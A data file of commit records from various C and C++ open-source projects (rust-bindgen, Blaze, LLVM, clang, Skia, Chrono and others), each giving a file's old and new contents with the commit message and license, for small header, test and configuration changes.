{"commit":"7ba2cae8c825baf411488ded7d0eb1e6cc17452d","old_file":"tests\/headers\/issue-1554.h","new_file":"tests\/headers\/issue-1554.h","old_contents":"\/\/ bindgen-flags: --default-enum-style rust_non_exhaustive --raw-line '#![cfg(feature = \"nightly\")]' --raw-line '#![feature(non_exhaustive)]'\n\nenum Planet {\n    earth,\n    mars\n};\n","new_contents":"\/\/ bindgen-flags: --default-enum-style rust_non_exhaustive --rust-target nightly --raw-line '#![cfg(feature = \"nightly\")]' --raw-line '#![feature(non_exhaustive)]'\n\nenum Planet {\n    earth,\n    mars\n};\n","subject":"Add missing --rust-target flags on test case.","message":"Add missing --rust-target flags on test case.\n\nSee https:\/\/github.com\/rust-lang\/rust-bindgen\/pull\/1575#discussion_r293079226\n","lang":"C","license":"bsd-3-clause","repos":"emilio\/rust-bindgen,emilio\/rust-bindgen,emilio\/rust-bindgen,rust-lang\/rust-bindgen,emilio\/rust-bindgen,emilio\/rust-bindgen,rust-lang\/rust-bindgen,rust-lang\/rust-bindgen,rust-lang\/rust-bindgen"}
{"commit":"3f2067c6dadb97125994dacc517a4be6f0b67256","old_file":"linux\/include\/stdint.h","new_file":"linux\/include\/stdint.h","old_contents":"\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n\/**\n * @file   linux\/include\/stdint.h\n * @brief  Define the uintX_t types for the Linux kernel\n * @author Didier Barvaux <didier.barvaux@toulouse.viveris.com>\n *\/\n\n#ifndef STDINT_H_\n#define STDINT_H_\n\n#ifndef __KERNEL__\n#\terror \"for Linux kernel only!\"\n#endif\n\n#include <linux\/types.h>\n\ntypedef u_int8_t uint8_t;\ntypedef u_int16_t uint16_t;\ntypedef u_int32_t uint32_t;\n\n#endif \/* STDINT_H_ *\/\n\n","new_contents":"\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n\/**\n * @file   linux\/include\/stdint.h\n * @brief  Define the uintX_t types for the Linux kernel\n * @author Didier Barvaux <didier.barvaux@toulouse.viveris.com>\n *\/\n\n#ifndef STDINT_H_\n#define STDINT_H_\n\n#ifndef __KERNEL__\n#\terror \"for Linux kernel only!\"\n#endif\n\n#include <linux\/types.h>\n\n#endif \/* STDINT_H_ *\/\n\n","subject":"Fix build of the Linux kernel module on ARM.","message":"Fix build of the Linux kernel module on ARM.\n","lang":"C","license":"lgpl-2.1","repos":"didier-barvaux\/rohc,didier-barvaux\/rohc,didier-barvaux\/rohc,didier-barvaux\/rohc,didier-barvaux\/rohc"}
{"commit":"e59877f76ae37ecdf26d8a17f132dd9541e06886","old_file":"blaze\/math\/proxy\/Forward.h","new_file":"blaze\/math\/proxy\/Forward.h","old_contents":"","new_contents":"\/\/=================================================================================================\n\/*!\n\/\/  \\file blaze\/math\/proxy\/Forward.h\n\/\/  \\brief Header file for all forward declarations for proxies\n\/\/\n\/\/  Copyright (C) 2013 Klaus Iglberger - All Rights Reserved\n\/\/\n\/\/  This file is part of the Blaze library. You can redistribute it and\/or modify it under\n\/\/  the terms of the New (Revised) BSD License. Redistribution and use in source and binary\n\/\/  forms, with or without modification, are permitted provided that the following conditions\n\/\/  are met:\n\/\/\n\/\/  1. Redistributions of source code must retain the above copyright notice, this list of\n\/\/     conditions and the following disclaimer.\n\/\/  2. Redistributions in binary form must reproduce the above copyright notice, this list\n\/\/     of conditions and the following disclaimer in the documentation and\/or other materials\n\/\/     provided with the distribution.\n\/\/  3. Neither the names of the Blaze development group nor the names of its contributors\n\/\/     may be used to endorse or promote products derived from this software without specific\n\/\/     prior written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n\/\/  EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n\/\/  OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n\/\/  SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n\/\/  TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n\/\/  BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n\/\/  DAMAGE.\n*\/\n\/\/=================================================================================================\n\n#ifndef _BLAZE_MATH_PROXY_FORWARD_H_\n#define _BLAZE_MATH_PROXY_FORWARD_H_\n\n\nnamespace blaze {\n\n\/\/=================================================================================================\n\/\/\n\/\/  ::blaze NAMESPACE FORWARD DECLARATIONS\n\/\/\n\/\/=================================================================================================\n\ntemplate< typename, typename > class ComplexProxy;\ntemplate< typename, typename > class DefaultProxy;\ntemplate< typename, typename > class DenseMatrixProxy;\ntemplate< typename, typename > class DenseVectorProxy;\ntemplate< typename, typename > class Proxy;\ntemplate< typename, typename > class SparseMatrixProxy;\ntemplate< typename, typename > class SparseVectorProxy;\n\n} \/\/ namespace blaze\n\n#endif\n","subject":"Add forward declarations for all proxies","message":"Add forward declarations for all proxies\n","lang":"C","license":"bsd-3-clause","repos":"byzhang\/blaze,byzhang\/blaze,byzhang\/blaze"}
{"commit":"a112b69d8c3f17f3320198e658cefd82324d95ff","old_file":"src\/widgets\/external_ip.c","new_file":"src\/widgets\/external_ip.c","old_contents":"#include \"widgets.h\"\n#include \"external_ip.h\"\n\nstatic int\nwidget_external_ip_send_update () {\n\tchar *external_ip = wkline_curl_request(wkline_widget_external_ip_address);\n\n\tjson_t *json_data_object = json_object();\n\tchar *json_payload;\n\n\tjson_object_set_new(json_data_object, \"ip\", json_string(\"ip\"));\n\n\tjson_payload = json_dumps(json_data_object, 0);\n\n\twidget_data_t *widget_data = malloc(sizeof(widget_data_t) + 4096);\n\twidget_data->widget = \"external_ip\";\n\twidget_data->data = json_payload;\n\tg_idle_add((GSourceFunc)update_widget, widget_data);\n\n\tfree(external_ip);\n\n\treturn 0;\n}\n\nvoid\n*widget_external_ip () {\n\tfor (;;) {\n\t\twidget_external_ip_send_update();\n\n\t\tsleep(600);\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include \"widgets.h\"\n#include \"external_ip.h\"\n\nstatic int\nwidget_external_ip_send_update () {\n\tchar *external_ip = wkline_curl_request(wkline_widget_external_ip_address);\n\n\tjson_t *json_data_object = json_object();\n\tchar *json_payload;\n\n\tjson_object_set_new(json_data_object, \"ip\", json_string(external_ip));\n\n\tjson_payload = json_dumps(json_data_object, 0);\n\n\twidget_data_t *widget_data = malloc(sizeof(widget_data_t) + 4096);\n\twidget_data->widget = \"external_ip\";\n\twidget_data->data = json_payload;\n\tg_idle_add((GSourceFunc)update_widget, widget_data);\n\n\tfree(external_ip);\n\n\treturn 0;\n}\n\nvoid\n*widget_external_ip () {\n\tfor (;;) {\n\t\twidget_external_ip_send_update();\n\n\t\tsleep(600);\n\t}\n\n\treturn 0;\n}\n","subject":"Fix error in external IP widget","message":"Fix error in external IP widget\n","lang":"C","license":"mit","repos":"jhanssen\/candybar,Lokaltog\/candybar,jhanssen\/candybar,Lokaltog\/candybar"}
{"commit":"1a7d60e5c88c09b3a113436dcac983adedeac2a5","old_file":"mediacontrols.h","new_file":"mediacontrols.h","old_contents":"#pragma once\n\n#include <QtWidgets>\n#include <QMediaPlayer>\n\nclass MediaControls : public QWidget\n{\n    Q_OBJECT\n\npublic:\n    MediaControls(QWidget *parent = 0);\n\n    QMediaPlayer::State state() const;\n    int volume() const;\n    bool isMuted();\n\npublic slots:\n    void setState(QMediaPlayer::State state);\n    void setVolume(int volume);\n    void setMuted(bool muted);\n\nsignals:\n    void play();\n    void pause();\n    void stop();\n    void next();\n    void previous();\n    void changeVolume(int volume);\n    void changeMuting(bool muting);\n\nprivate slots:\n    void playClicked();\n    void muteClicked();\n    void onVolumeSliderValueChanged();\n\nprivate:\n    QMediaPlayer::State playerState;\n    bool playerMuted;\n    QPushButton *playButton;\n    QPushButton *stopButton;\n    QPushButton *nextButton;\n    QPushButton *previousButton;\n    QPushButton *muteButton;\n    QSlider *volumeSlider;\n\n};\n","new_contents":"#pragma once\n\n#include <QtWidgets>\n#include <QMediaPlayer>\n\nclass MediaControls : public QWidget\n{\n    Q_OBJECT\n\npublic:\n    MediaControls(QWidget *parent = 0);\n\n    QMediaPlayer::State state() const;\n    int volume() const;\n    bool isMuted();\n\npublic slots:\n    void setState(QMediaPlayer::State state);\n    void setVolume(int volume);\n    void setMuted(bool muted);\n\nsignals:\n    void play();\n    void pause();\n    void stop();\n    void next();\n    void previous();\n    void changeVolume(int volume);\n    void changeMuting(bool muting);\n    void valueChanged(int);\n\nprivate slots:\n    void playClicked();\n    void muteClicked();\n    void onVolumeSliderValueChanged();\n\nprivate:\n    QMediaPlayer::State playerState;\n    bool playerMuted;\n    QPushButton *playButton;\n    QPushButton *stopButton;\n    QPushButton *nextButton;\n    QPushButton *previousButton;\n    QPushButton *muteButton;\n    QSlider *volumeSlider;\n\n};\n","subject":"Add one slot for changed value","message":"Add one slot for changed value\n","lang":"C","license":"mit","repos":"mordegardi\/aufision,mordegardi\/aufision,mordegardi\/aufision"}
{"commit":"6a8a0d7dc153b826cc96840d1e98d214883b190d","old_file":"C\/mwt.c","new_file":"C\/mwt.c","old_contents":"","new_contents":"#include<stdio.h>\n#include<stdlib.h>\n\nint main (int argc, char *argv[]){\n    if(argc != 3){\n        printf(\"Number of parameters should be 2 (filename, cardinality).\");\n        exit(1);\n    }\n\n    \/\/open file and get file length\n    FILE *file;\n    file = fopen(argv[1],\"r\");\n    if(file == NULL){\n        printf(\"File couldn't be opened.\");\n        exit(1);\n    }\n    fseek(file, 0, SEEK_END);\n    int fileLength = ftell(file);\n    fseek(file, 0, SEEK_SET);\n\n    \/\/save data from file to array\n    char inputStream[fileLength];\n    \/\/printf(\"length: %d \\n\", fileLength);\n    int i = 0;\n    int character;\n    while((character = fgetc(file)) != EOF){\n            inputStream[i] = character;\n            i++;\n            }\n    \/*int j;\n    for(j=0; j < fileLength; j++){\n        char a = inputStream[j];\n        printf(\"Znak: %c \\n\", a);\n    }*\/\n\n    fclose(file);\n}\n","subject":"Read file and save data to array","message":"Read file and save data to array\n","lang":"C","license":"mit","repos":"marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree"}
{"commit":"443637f6a485f7c9f5e1c4cf393b5fd22a718c69","old_file":"src\/unit_PARALLEL\/chrono_parallel\/collision\/ChCNarrowphase.h","new_file":"src\/unit_PARALLEL\/chrono_parallel\/collision\/ChCNarrowphase.h","old_contents":"#ifndef CHC_NARROWPHASE_H\n#define CHC_NARROWPHASE_H\n\n#include \"chrono_parallel\/ChParallelDefines.h\"\n#include \"chrono_parallel\/ChDataManager.h\"\n\nnamespace chrono {\nnamespace collision {\n\nstruct ConvexShape {\n   shape_type type;  \/\/type of shape\n   real3 A;  \/\/location\n   real3 B;  \/\/dimensions\n   real3 C;  \/\/extra\n   quaternion R;  \/\/rotation\n   real3* convex;      \/\/ pointer to convex data;\n};\n\n}  \/\/ end namespace collision\n}  \/\/ end namespace chrono\n\n#endif\n\n","new_contents":"#ifndef CHC_NARROWPHASE_H\n#define CHC_NARROWPHASE_H\n\n#include \"chrono_parallel\/ChParallelDefines.h\"\n#include \"chrono_parallel\/ChDataManager.h\"\n\nnamespace chrono {\nnamespace collision {\n\nstruct ConvexShape {\n   shape_type type;  \/\/type of shape\n   real3 A;  \/\/location\n   real3 B;  \/\/dimensions\n   real3 C;  \/\/extra\n   quaternion R;  \/\/rotation\n   real3* convex;      \/\/ pointer to convex data;\n   real margin;\n   ConvexShape():margin(0.04){}\n};\n\n}  \/\/ end namespace collision\n}  \/\/ end namespace chrono\n\n#endif\n\n","subject":"Add a collision margin to each shape Margins are one way to improve stability of contacts. Only the GJK solver will use these initially","message":"Add a collision margin to each shape\nMargins are one way to improve stability of contacts.\nOnly the GJK solver will use these initially\n","lang":"C","license":"bsd-3-clause","repos":"jcmadsen\/chrono,PedroTrujilloV\/chrono,jcmadsen\/chrono,Milad-Rakhsha\/chrono,hsu\/chrono,dariomangoni\/chrono,hsu\/chrono,projectchrono\/chrono,andrewseidl\/chrono,projectchrono\/chrono,hsu\/chrono,projectchrono\/chrono,tjolsen\/chrono,dariomangoni\/chrono,armanpazouki\/chrono,rserban\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,tjolsen\/chrono,andrewseidl\/chrono,jcmadsen\/chrono,Bryan-Peterson\/chrono,rserban\/chrono,Milad-Rakhsha\/chrono,hsu\/chrono,projectchrono\/chrono,andrewseidl\/chrono,jcmadsen\/chrono,rserban\/chrono,rserban\/chrono,PedroTrujilloV\/chrono,amelmquist\/chrono,amelmquist\/chrono,Milad-Rakhsha\/chrono,andrewseidl\/chrono,hsu\/chrono,Milad-Rakhsha\/chrono,rserban\/chrono,PedroTrujilloV\/chrono,jcmadsen\/chrono,amelmquist\/chrono,Milad-Rakhsha\/chrono,PedroTrujilloV\/chrono,rserban\/chrono,armanpazouki\/chrono,andrewseidl\/chrono,tjolsen\/chrono,amelmquist\/chrono,dariomangoni\/chrono,armanpazouki\/chrono,jcmadsen\/chrono,projectchrono\/chrono,armanpazouki\/chrono,dariomangoni\/chrono,Bryan-Peterson\/chrono,armanpazouki\/chrono,projectchrono\/chrono,rserban\/chrono,Bryan-Peterson\/chrono,tjolsen\/chrono,tjolsen\/chrono,dariomangoni\/chrono,amelmquist\/chrono,Bryan-Peterson\/chrono,Bryan-Peterson\/chrono,PedroTrujilloV\/chrono,amelmquist\/chrono,armanpazouki\/chrono,jcmadsen\/chrono"}
{"commit":"686a21bf859f955ff8d3d179da64b7a23c0fed44","old_file":"test\/Preprocessor\/macro_paste_spacing2.c","new_file":"test\/Preprocessor\/macro_paste_spacing2.c","old_contents":"\/\/ RUN: clang-cc %s -E | grep \"movl %eax\"\n\n#define R1E %eax\n#define epilogue(r1) movl r1;\nepilogue(R1E)\n","new_contents":"\/\/ RUN: clang-cc %s -E | grep \"movl %eax\"\n\/\/ PR4132\n#define R1E %eax\n#define epilogue(r1) movl r1 ## E;\nepilogue(R1)\n\n","subject":"Fix the testcase for PR4132.","message":"Fix the testcase for PR4132.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@70796 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"28fe8ce18f7db33a8dc2b47ad07e6e0da491710f","old_file":"include\/llvm\/Bytecode\/WriteBytecodePass.h","new_file":"include\/llvm\/Bytecode\/WriteBytecodePass.h","old_contents":"\/\/===- llvm\/Bytecode\/WriteBytecodePass.h - Bytecode Writer Pass --*- C++ -*--=\/\/\n\/\/\n\/\/ This file defines a simple pass to write the working module to a file after\n\/\/ pass processing is completed.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_WRITEBYTECODEPASS_H\n#define LLVM_BYTECODE_WRITEBYTECODEPASS_H\n\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Bytecode\/Writer.h\"\n#include <iostream>\n\nclass WriteBytecodePass : public Pass {\n  std::ostream *Out;           \/\/ ostream to print on\n  bool DeleteStream;\npublic:\n  inline WriteBytecodePass(std::ostream *o = &std::cout, bool DS = false)\n    : Out(o), DeleteStream(DS) {\n  }\n\n  const char *getPassName() const { return \"Bytecode Writer\"; }\n\n  inline ~WriteBytecodePass() {\n    if (DeleteStream) delete Out;\n  }\n  \n  bool run(Module &M) {\n    WriteBytecodeToFile(&M, *Out);    \n    return false;\n  }\n};\n\n#endif\n","new_contents":"\/\/===- llvm\/Bytecode\/WriteBytecodePass.h - Bytecode Writer Pass --*- C++ -*--=\/\/\n\/\/\n\/\/ This file defines a simple pass to write the working module to a file after\n\/\/ pass processing is completed.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_WRITEBYTECODEPASS_H\n#define LLVM_BYTECODE_WRITEBYTECODEPASS_H\n\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Bytecode\/Writer.h\"\n#include <iostream>\n\nclass WriteBytecodePass : public Pass {\n  std::ostream *Out;           \/\/ ostream to print on\n  bool DeleteStream;\npublic:\n  WriteBytecodePass() : Out(&std::cout), DeleteStream(false) {}\n  WriteBytecodePass(std::ostream *o, bool DS = false) \n    : Out(o), DeleteStream(DS) {\n  }\n\n  inline ~WriteBytecodePass() {\n    if (DeleteStream) delete Out;\n  }\n  \n  bool run(Module &M) {\n    WriteBytecodeToFile(&M, *Out);    \n    return false;\n  }\n};\n\n#endif\n","subject":"Add a version of the bytecode writer pass that has a default ctor","message":"Add a version of the bytecode writer pass that has a default ctor\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@3031 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"20027ceb284f470cda25d0ae2c35140b381e91c6","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 68\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 69\n#endif\n","subject":"Update Skia milestone to 69","message":"Update Skia milestone to 69\n\nTBR=reed@google.com\n\nBug: skia:\nChange-Id: Ifabe4c89c9d0018da5d4f270d4e3fb5790e29bfc\nReviewed-on: https:\/\/skia-review.googlesource.com\/130120\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia"}
{"commit":"7a61dc2985b7095d1bc413d014ca3c06e5bc4477","old_file":"include\/sauce\/exceptions.h","new_file":"include\/sauce\/exceptions.h","old_contents":"#ifndef SAUCE_SAUCE_EXCEPTIONS_H_\n#define SAUCE_SAUCE_EXCEPTIONS_H_\n\n#include <stdexcept>\n\nnamespace sauce {\n\n\/**\n * Raised when no binding can be found for a given interface.\n *\n * TODO sure would be nice to know who..\n *\/\nstruct UnboundException:\n  public std::runtime_error {\n  UnboundException():\n    std::runtime_error(\"Request for unbound interface.\") {}\n};\n\n}\n\n#endif \/\/ ifndef SAUCE_SAUCE_EXCEPTIONS_H_","new_contents":"#ifndef SAUCE_SAUCE_EXCEPTIONS_H_\n#define SAUCE_SAUCE_EXCEPTIONS_H_\n\n#include <string>\n#include <stdexcept>\n\nnamespace sauce {\n\n\/**\n * Base class for all sauce exceptions.\n *\/\nstruct Exception: std::runtime_error {\n  Exception(std::string message):\n    std::runtime_error(message) {}\n};\n\n\/**\n * Raised when no binding can be found for a given interface.\n *\n * TODO sure would be nice to know who..\n *\/\nstruct UnboundException: Exception {\n  UnboundException():\n    Exception(\"Request for unbound interface.\") {}\n};\n\n\/**\n * Raised when a cycle is found in the interface's dependencies.\n *\n * TODO sure would be nice to know what the cycle is..\n *\/\nstruct CircularDependencyException: Exception {\n  CircularDependencyException():\n    Exception(\"Request for unbound interface.\") {}\n};\n\n}\n\n#endif \/\/ ifndef SAUCE_SAUCE_EXCEPTIONS_H_","subject":"Add a circular dependency exception.","message":"Add a circular dependency exception.\n\nAlso break out an exception base type.\n","lang":"C","license":"mit","repos":"phs\/sauce,phs\/sauce,phs\/sauce,phs\/sauce"}
{"commit":"8de958ec707f8e8115881ad595ed4d872bc91641","old_file":"library\/src\/main\/jni\/image\/image_decoder.h","new_file":"library\/src\/main\/jni\/image\/image_decoder.h","old_contents":"\/\/\n\/\/ Created by Hippo on 9\/13\/2016.\n\/\/\n\n#ifndef IMAGE_IMAGE_DECODER_H\n#define IMAGE_IMAGE_DECODER_H\n\n\n#include \"com_hippo_image_BitmapDecoder.h\"\n\n\n#define IMAGE_CONFIG_INVALID   -1;\n#define IMAGE_CONFIG_AUTO      com_hippo_image_BitmapDecoder_CONFIG_AUTO\n#define IMAGE_CONFIG_RGB_565   com_hippo_image_BitmapDecoder_CONFIG_RGB_565\n#define IMAGE_CONFIG_RGBA_8888 com_hippo_image_BitmapDecoder_CONFIG_RGBA_8888\n\n\ninline bool is_explicit_config(int32_t config) {\n  return config == IMAGE_CONFIG_RGB_565 || config == IMAGE_CONFIG_RGBA_8888;\n}\n\n\ninline uint32_t get_depth_for_config(int32_t config) {\n  switch (config) {\n    case IMAGE_CONFIG_RGB_565:\n      return 2;\n    case IMAGE_CONFIG_RGBA_8888:\n      return 4;\n    default:\n      return 0;\n  }\n}\n\n\n#endif \/\/IMAGE_IMAGE_DECODER_H\n","new_contents":"\/\/\n\/\/ Created by Hippo on 9\/13\/2016.\n\/\/\n\n#ifndef IMAGE_IMAGE_DECODER_H\n#define IMAGE_IMAGE_DECODER_H\n\n\n#include \"com_hippo_image_BitmapDecoder.h\"\n\n\n#define IMAGE_CONFIG_INVALID   -1;\n#define IMAGE_CONFIG_AUTO      com_hippo_image_BitmapDecoder_CONFIG_AUTO\n#define IMAGE_CONFIG_RGB_565   com_hippo_image_BitmapDecoder_CONFIG_RGB_565\n#define IMAGE_CONFIG_RGBA_8888 com_hippo_image_BitmapDecoder_CONFIG_RGBA_8888\n\n\nstatic inline bool is_explicit_config(int32_t config) {\n  return config == IMAGE_CONFIG_RGB_565 || config == IMAGE_CONFIG_RGBA_8888;\n}\n\n\nstatic inline uint32_t get_depth_for_config(int32_t config) {\n  switch (config) {\n    case IMAGE_CONFIG_RGB_565:\n      return 2;\n    case IMAGE_CONFIG_RGBA_8888:\n      return 4;\n    default:\n      return 0;\n  }\n}\n\n\n#endif \/\/IMAGE_IMAGE_DECODER_H\n","subject":"Fix undefined references in linker","message":"Fix undefined references in linker\n","lang":"C","license":"apache-2.0","repos":"seven332\/Image,seven332\/Image,seven332\/Image"}
{"commit":"d6975e54dee6c652d4dd10fe62c3c29241c967f2","old_file":"demos\/FPL_FFMpeg\/defines.h","new_file":"demos\/FPL_FFMpeg\/defines.h","old_contents":"#pragma once\n\n#define PRINT_QUEUE_INFOS 0\n#define PRINT_FRAME_UPLOAD_INFOS 0\n#define PRINT_MEMORY_STATS 0\n#define PRINT_FRAME_DROPS 0\n#define PRINT_VIDEO_REFRESH 0\n#define PRINT_VIDEO_DELAY 0\n#define PRINT_CLOCKS 0\n#define PRINT_PTS 0\n#define PRINT_FPS 0\n\n\/\/ Rendering mode (Hardware or Software)\n#define USE_HARDWARE_RENDERING 1\n\n\/\/ Hardware rendering\n#define USE_GLSL_IMAGE_FORMAT_DECODING 1 \/\/ Use GLSL to decode image planes (Much faster than software decoding)\n#define USE_GL_PBO 1 \/\/ Use OpenGL Pixel Buffer Objects (Faster CPU -> GPU transfer)\n#define USE_GL_BLENDING 1 \/\/ Use OpenGL Blending (Only useful to disable, when debugging text rendering)\n#define USE_GL_RECTANGLE_TEXTURES 1 \/\/ Use GL_TEXTURE_RECTANGLE instead of GL_TEXTURE_2D\n\n\/\/ Software rendering\n#define USE_FLIP_V_PICTURE_IN_SOFTWARE 0 \/\/ We need to detect this, when to flip and when not to flip\n\n\/\/ Global\n#define USE_FFMPEG_STATIC_LINKING 0 \/\/ Use static or runtime linking of FFMPEG (Useful to test if function signatures has been changed)\n#define USE_FFMPEG_SOFTWARE_CONVERSION 1 \/\/ Convert video frames using sws_scale or using our own implementation, which is limited to type AV_PIX_FMT_YUV420P\n","new_contents":"#pragma once\n\n#define PRINT_QUEUE_INFOS 0\n#define PRINT_FRAME_UPLOAD_INFOS 0\n#define PRINT_MEMORY_STATS 0\n#define PRINT_FRAME_DROPS 0\n#define PRINT_VIDEO_REFRESH 0\n#define PRINT_VIDEO_DELAY 0\n#define PRINT_CLOCKS 0\n#define PRINT_PTS 0\n#define PRINT_FPS 0\n\n\/\/ Rendering mode (Hardware or Software)\n#define USE_HARDWARE_RENDERING 1\n\n\/\/ Hardware rendering\n#define USE_GLSL_IMAGE_FORMAT_DECODING 1 \/\/ Use GLSL to decode image planes (Much faster than software decoding)\n#define USE_GL_PBO 1 \/\/ Use OpenGL Pixel Buffer Objects (Faster CPU -> GPU transfer)\n#define USE_GL_BLENDING 1 \/\/ Use OpenGL Blending (Only useful to disable, when debugging text rendering)\n#define USE_GL_RECTANGLE_TEXTURES 1 \/\/ Use GL_TEXTURE_RECTANGLE instead of GL_TEXTURE_2D\n\n\/\/ Software rendering\n#define USE_FLIP_V_PICTURE_IN_SOFTWARE 0 \/\/ We need to detect this, when to flip and when not to flip\n\n\/\/ Global\n#define USE_FFMPEG_STATIC_LINKING 0 \/\/ Use static or runtime linking of FFMPEG (Useful to test if function signatures has been changed)\n#define USE_FFMPEG_SOFTWARE_CONVERSION 0 \/\/ Convert video frames using sws_scale or using our own implementation, which is limited to type AV_PIX_FMT_YUV420P\n","subject":"Disable ffmpeg software conversion in define","message":"Disable ffmpeg software conversion in define\n","lang":"C","license":"mit","repos":"f1nalspace\/final_game_tech,f1nalspace\/final_game_tech,f1nalspace\/final_game_tech"}
